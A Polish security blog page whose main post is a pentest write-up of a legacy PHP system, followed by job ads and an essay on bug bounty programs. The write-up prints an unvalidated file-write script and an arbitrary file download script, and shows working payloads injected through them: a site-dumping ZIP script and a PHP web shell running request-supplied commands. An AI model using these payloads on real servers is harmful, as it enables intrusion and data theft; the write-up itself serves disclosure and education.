Mokry sen pentestera, czyli pentesting na wesoło

Podczas ostatniej sesji pentestów u klienta odkryłem na serwerze skrypt pozostawiony przez dewelopera, który projektował system lata temu.

Skrypt, publicznie dostępny (jego adres był wysyłany do klientów), był wykorzystywany przez jeden z komponentów do zapisywania logów na serwerze, w bardzo oryginalny sposób.

Nie wiem nawet jak to skomentować, po prostu wam pokażę kod:

<?php

	/*function deleteDir($path) {
		if (empty($path)) { 
			return false;
		}
		return is_file($path) ?
				@unlink($path) :
				array_map(__FUNCTION__, glob($path.'/*')) == @rmdir($path);
	}

	deleteDir('xxx');
	die;*/

	$filename = $_REQUEST["xvar"];
	$user = $_REQUEST["yvar"];
	$xyz = $_REQUEST["zvar"];

	chdir('xxx');

	$hfile = fopen($filename, "a+");
	
	$fsize=filesize($filename);
	
	if ($fsize==0){
		fwrite($hfile, $user."\r\n\r\n");
	}
	
	fwrite($hfile, date("r")." - ".$xyz."\r\n");
	
	echo "1";

?>

No więc co się tutaj dzieje? Ten skrypt po prostu pobiera parametry z zapytania POST lub GET i wykorzystuje ich treść do nadpisania istniejącego lub stworzenia nowego pliku na serwerze w podkatalogu „xxx”.

Problem polega na tym, że nie jest przeprowadzona żadna walidacja i możliwe jest stworzenie dowolnego pliku w dowolnym katalogu systemu, także skryptów PHP.

Jak wykorzystać tę lukę?

Kreatywnie. To na pewno. I tak żeby klient zrozumiał, że to nie są żarty. Należy w tym celu skonstruować zapytanie POST do serwera i odpowiednio ustawić parametry:

  1. „xvar” – w tym parametrze zapiszemy nazwę nowo utworzonego skryptu PHP
  2. „yvar” – będzie zawierać treść kodu PHP z tagiem otwierający skrypt <?php i tagiem na końcu, który będzie otwierał wielolinijkowy komentarz PHP „/*”, ponieważ po tej zmiennej zapisywana jest data i zepsułoby to strukturę kodu PHP
  3. „zvar” – tym parametrem zamkniemy wielolinijkowy komenarz PHP „*/* oraz domkniemy tagi skryptu PHP „?>”

Pobieranie zawartości całej strony

Poniższy skrypt został tak zapisany, że wykorzystując rozszerzenie ZIP dla PHP tworzy archiwum (bez kompresji, żeby nie wydłużać czasu działania skryptu) ze wszystkimi plikami znajdującymi się na stronie.

<?php $r = realpath('../');$z = new ZipArchive();$z->open('dump.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($r),	RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($r) + 1); $z->addFile($filePath, $relativePath); $z->setCompressionName($relativePath, ZipArchive::CM_STORE); } } $z->close(); /* 

Do stworzenia tego skryptu na serwerze wykorzystując znalezioną podatność wykorzystałem rozszerzenie dla Chrome – RestMan. Po ustawieniu rodzaju zapytania (POST) i parametrów, wadliwy skrypt zwrócił „1” co jak widać świadczy o tym, że wykonał się do końca.

Teraz wystarczy wpisać w przeglądarkę adres witryny i nazwę skryptu, znajduje się on w katalogu „xxx/dump.php” i jeśli wszystko pójdzie ok, stworzy „piętro wyżej” archiwum ZIP z całą zawartością strony.

Problem może być czas potrzeby do działania skryptu PHP, ograniczony ustawieniami w pliku konfiguracyjnym php.ini. Można go sobie wydłużyć wykonując funkcję PHP set_time_limit(10 * 60); zaraz na początku skryptu.

Zdalna powłoka

Z ciekawszych rzeczy, które można podrzucić jest zdalna powłoka, którą można wykorzystać do zdalnego wykonywania poleceń, dzięki funkcji system() wbudowanej w PHP:

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die(); } /*

Funkcja ta może być i często jest wyłączona w konfiguracji PHP, ale warto o tym wiedzieć.

Czy to w ogóle błąd?

Zastanawiałem się nad tym chwilę, bo adres skryptu był wysyłany do klientów systemu po określonej akcji i nie mogli mieć świadomości, co się dzieje po jego wykonaniu tzn. że w podkatalogu „xxx” tworzone są nowe pliki. Bo skąd?

Jednak dalsze testy tego archaicznego systemu pozwoliły odnaleźć innego kwiatka, który tego wyżej bije na głowę:

<?php
// downloading a file
	$filename = $_GET['filename'];

// fix for IE catching or PHP bug issue

	header("Pragma: public");
	header("Expires: 0"); // set expiration time
	header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
	
// browser must download file from server instead of cache

// force download dialog

	header("Content-Type: application/force-download");
	header("Content-Type: application/octet-stream");
	header("Content-Type: application/download");

// use the Content-Disposition header to supply a recommended filename and
// force the browser to display the save dialog.

	header("Content-Disposition: attachment; filename=".basename($filename).";");

/*
The Content-transfer-encoding header should be binary, since the file will be read
directly from the disk and the raw bytes passed to the downloading computer.
The Content-length header is useful to set for downloads. The browser will be able to
show a progress meter as a file downloads. The content-lenght can be determines by
filesize function returns the size of a file.
*/

	header("Content-Transfer-Encoding: binary");
	header("Content-Length: ".filesize($filename));

	@readfile($filename);
	
	exit(0);
	
?>

To raczej trudno pobić.

Skrypt pozwala pobrać dowolny plik z serwera, wystarczy np. ustawić parametr „filename” na „index.php” lub jakiś inny, często używany plik jak „config.php”, żeby dobrać się do reszty systemu.

Klient zaskoczony

Po wskazaniu błędów i zaprezentowaniu możliwości klient był zaskoczony, że takie coś w ogóle było możliwe, jednak wynikało to z wieku systemu i metod tworzenia oprogramowania wykorzystywanych lata temu, których już raczej nie doświadczymy. Chociaż, kto wie ile jeszcze takich starych kwiatków wisi na produkcji 🙂

Nie zgłaszaj luk Facebookowi!

instagramResearcher Wesley Wineberg uzyskał dostęp do interfesjów shell i webowych Instagrama. W ramach zgłoszenia odnalezionych tak krytycznych luk w programie bug bounty Facebooka otrzymał w zamian NIC oraz zgłoszono to jego pracodawcy i grożono sztabem prawników.

http://exfiltrated.com/research-Instagram-RCE.php

Cała historia oraz jej echa zapewne na długo zapamiętają ludzie zajmujący się pentestingiem, sądząc po tym jaką burzę to wywołało już np. na Reddicie.

https://www.reddit.com/r/programming/comments/3xawa9/instagrams_million_dollar_bug/

Teraz zapewne każdy kto znajdzie tak poważną lukę 2 razy się zastanowi, czy sprzedać to pośrednikowi czy na czarnym rynku, ponieważ to w jaki sposób potraktował to Facebook nikogo więcej nie zachęci do zgłaszania do samego producenta, jeśli efektem jest brak jakiegokolwiek wynagrodzenia i jeszcze informowanie pracodawców…

Oferty pracy z dziedziny bezpieczeństwa komputerowego

hiringChciałbym poinformować, że w serwisie Security News można od dzisiaj wrzucać darmowe oferty pracy:

Wszystkie oferty – https://www.secnews.pl/praca/

Dodawanie ofert – https://www.secnews.pl/dodaj-oferte-pracy/

Nowe oferty pracy są wyświetlane na każdej podstronie serwisu SecNews, więc jest to dodatkowy plus i całkiem spory zasięg jak na serwis zajmujący się takimi niszowymi tematami jak reverse engineering, pentesting i programowanie.

W tym miesiącu SecNews zanotował 65535 (aż 2 razy musiałem sprawdzić, w hex wychodzi 0xFFFF) wizyt 🙂

Jeśli szukacie pracowników lub ktoś znajomy to zachęcam do wrzucania ofert. Warto się przy okazji zarejestrować, bo pozwala to na łatwe zarządzanie ofertami.

Praca dla pentestera w 7N

Firma 7N poszukuje osoby na stanowisko IT Security Specialist/Expert.

Zakres obowiązków:

  • testy bezpieczeństwa, systemów, aplikacji, sieci oraz symulację ataków
  • rekomendowanie rozwiązań dla wykrytych podatności
  • rozwój narzędzi bezpieczeństwa i do monitorowania/bezpieczeństwa IT
  • analizę podatności oprogramowania oraz złośliwego oprogramowania
  • analizę ruchu sieciowego

Oczekujemy:

  • min. 3-4 lata relewantnego doświadczenia
  • szerokiej wiedzy na temat podatności systemów, aplikacji (web i mobilne) i urządzeń sieciowych
  • znajomość jednej z wymienionych technik: OWASP, ESAPI, SSP, etc.
  • znajomość zagadnień kryptografii oraz zagadnień dotyczących bezpieczeństwa sieci teleinformatycznej
  • mile widziany: certyfikat branżowy (np. CISSP, CEH, etc.)
  • dobrej znajomości j. angielskiego
  • dążenie do własnego rozwoju zawodowego

Oferujemy (jak zawsze w 7N):

  • Jawność finansową: wynagrodzenie w wysokości ok. 9000-10000 brutto na UOP lub 10000-11000 PLN + VAT przy b2b. To nasza wstępna propozycja, negocjowalna w zależności od indywidualnych oczekiwań oraz od doświadczenia i kompetencji danego Konsultanta.
  • Telefon i komputer służbowy.
  • Przejrzysty model (75/25) rozliczeń – nasi Konsultanci otrzymują 75% stawki, którą 7N otrzymuje za ich pracę od Klienta – ww. stawki są docelowymi, które otrzyma konsultant.
  • Finansowe wsparcie w rozwoju zawodowym – dofinansowujemy szkolenia, certyfikaty techniczne oraz naukę języków obcych.
  • Brak umów lojalnościowych (po godzinach można nadal wspierać swoich Klientów)
  • Dofinansowanie opieki zdrowotnej i karty Benefit Multisport niezależnie od formy współpracy

W przypadku zainteresowania, poproszę o kontakt/przesłanie aktualnego CV na adres: dagon[at]7n[dot]com

Ile zarabia pentester?

hacker-emblemZawsze mnie zastanawiało ile zarabia pentester, mam wielu znajomych, którzy się tym zajmują i ich zarobki są skarnie różne, jeśli znacie kogoś kto pracuje w tym zawodzie lub sami jesteście pentesterami, zagłosujcie w tej anonimowej ankiecie.

Ile miesięcznie potrafi zarobić pentester?

Zobacz Wyniki

Loading ... Loading ...

Zachęcam również do komentarzy oraz dodawania ofert pracy.

Za kulisami Bug Bounty

Autorem tekstu jest Dawid Bałut.

Bug bounty – szacunek, wdzięczność a jednocześnie cwaniactwo i ściema.

no_more_free_bugsZacznijmy od tego czym jest Bug bounty. Jest to program nagród przyznawanych odkrywcom błędów (czyli tak zwanych „bugów”). Ja skupię się w tym artykule na błędach mających wpływ na bezpieczeństwo (serwisów internetowych, aplikacji internetowych, danych na owych podmiotach zawartych). Piszę jako osoba korzystająca z programów bug bounty, a swoje opinie bazuję na współpracy z kilkudziesięcioma korporacjami.

Założeniem programu nagród za odkryte błędy, było zachęcenie ludzi do szukania i zgłaszania błędów twórcom oprogramowania. Istnieją nawet serwisy, które skupiają ludzi się tym zajmujących, jak na przykład Bugcrowd.

Crowdsourcing

Crowdsourcing, czyli praca wykonywana przez tłum ludzi jest rzeczą świetną, bo nie płacisz każdej osobie która szuka błędu. Płacisz tej osobie, która błąd znajdzie. Nie liczy się to czy szukałeś, liczy się to czy znalazłeś.

Programy Bug Bounty

Korporacje takie jak Facebook, Google czy Paypal postanowiły otworzyć taki właśnie program i było to świetną decyzją. Ludzie, gdy widzą, że za dobrze wykonaną robotę czeka ich  wynagrodzenie chętniej podchodzą do tematu.

Firmy zdobywają więc uwagę wszelakich bug hunterów (ludzi szukających podatności) począwszy od black hatów (hakerów, którzy mają niecne zamiary) po zwykłych internautów, którzy chcą spróbować szczęścia. Niektóre firmy oferują nagrody pieniężne, wpis na „Hall of Fame” (stronę poświęconą osobom zasłużonym w programie BB), koszulki i inne gadżety, ale są też cebulaki, którzy oferują eurogąbki.

No dobra założenie jest fajne, prawda? Za znalezione podatności dostaję pieniądze, firma jest bezpieczniejsza, więc oboje mamy profit. Właśnie – założenie, bo w praktyce wygląda to różnie…

Co oferują programy Bug Bounty?

Firmy posiadające program bug bounty dzielą się w zasadzie na dwa typy.

Przeważająca jest ilość takich, które doceniają i szanują resarcherów (osoby zgłaszające błędy), znają wartość ich pracy i tak dalej.  Drugi typ to te firmy, które posiadają program BB po to, żeby sprawiać wrażenie przyjaznej i poprawić sobie PR, a suma sumarum – mają ten program i ludzi z niego korzystających (a raczej chcących korzystać) gdzieś.

scoopitSą też firmy, które nie mają oficjalnego bug bounty, ale w ramach podziękowania coś oferują. Przykładem niech będzie firma scoop.it, która nigdzie nie ma notacji o programie bug bounty, ale za kilkanaście błędów bezpieczeństwa wysłała mi firmową bluzkę. Ocenę tego wynagrodzenia zostawiam Wam, ale moim zdaniem lepsze to niż pakiet eurogąbek 🙂

homeshirtDocenić też muszę gest polskiej firmy – Home.pl, z którą już miałem przyjemność współpracować, a po ostatnim raporcie dostałem taką oto koszulkę (jest świetna).

Dlaczego chwalę Home.pl za ich zachowanie? Dlatego, że wiele firm, szczególnie polskich nie potrafi się zachować jeśli chodzi o współpracę z bug hunterami.

Allegro

Jest taka korporacja, dla której zgłoszenie 42 błędów typu Cross Site Scripting, 2 SQL injection, 2 Infinite Loop i kilku Open redirectów nie zasługuje nawet na podsumowującego maila z podziękowaniem czy  inny kubek. Znaleziska te według bug bounty Google’a, licząc po najniższej stawce wyniosłyby za te „prezenty” ~135 tysięcy dolarów. Oczywiście nie chodzi mi o to, aby Allegro płaciło kilka tysięcy $ za błąd bezpieczeństwa. Chcę tylko zobrazować Wam jak to wygląda.

Nieporozumieniem jest dla mnie sytuacja kiedy zgłasza się kilkadziesiąt błędów w sztandarowych produktach mających ogromny wpływ na bezpieczeństwo danych i użytkowników, i nie otrzymuje się odpowiedzi.

Logo Allegro

Już mówię z czego to wynika – z zapatrzenia w siebie, kompleksów i poczucia wstydu, że ktoś kto nie zna infrastruktury i na portalach na które wchodzi po raz pierwszy w życiu znajduje ogrom błędów. Tak więc sugeruję  schować ego w kieszeń, bo mamy wspólny cel – poprawę bezpieczeństwa.

Nie ma tu ani czasu ani sensu na niepoważne zachowania. Powinniśmy współpracować… Ale przecież lepiej mieć w nosie badaczy bezpieczeństwa (z ang. security researcher, bowiem tak określa się osoby badające bezpieczeństwo), a później płakać – bo wycieki danych, bo włamania, bo hakują bo coś tam jeszcze się stało, niedobre hakiery!

Jeśli nie szanuje się czyjejś pracy, to nie ma co później oczekiwać, że ta sama osoba, którą źle się potraktowało, znowu pokornie zgłosi błędy. Tak to nie działa, bo na szczęście bug hunterzy mają godność i szacunek dla własnej pracy.

Mimo, że zdarzają się zagraniczne portale, które stosują metodę „łataj i nie odpowiadaj” to i tak „Nasze” firmy w tym przodują. Do powyższej metody stosują się przede wszystkim portale oferujące usługi e-poczty (o2 / wp / Interia), e-wydawnictwa(Merlin), Groupon (gratulacje za SQLi, które wiszą przez kilka miesięcy), o bankach nie wspominając – ci wymiatają konkurencję…

Jakie firmy polecam Wam do współpracy?

Facebook, Google, PayPal (choć często ściemniają, nie zaliczają, jeśli wyślesz kilka błędów to zaliczą Ci jeden, resztę określą jako dubel, a po przelaniu środków na Twoje konto PayPal zablokują je uniemożliwiając Ci wybranie pieniędzy 🙂 ) czy Barracuda™.

Kto nie czuje idei bug bounty?

Z firm, z którymi korespondowałem to Pinterest, Valve, Blizzard, Ubisoft, AT&T, Dailymotion, Grupa Allegro, banki.

Chociaż może i Valve Cię nie „oleje”, i wyśle Ci to co mnie za 2 XSSy (1 stored na steamcommunity, drugi reflected na steam store)…

topor_steam

Dawid Bałut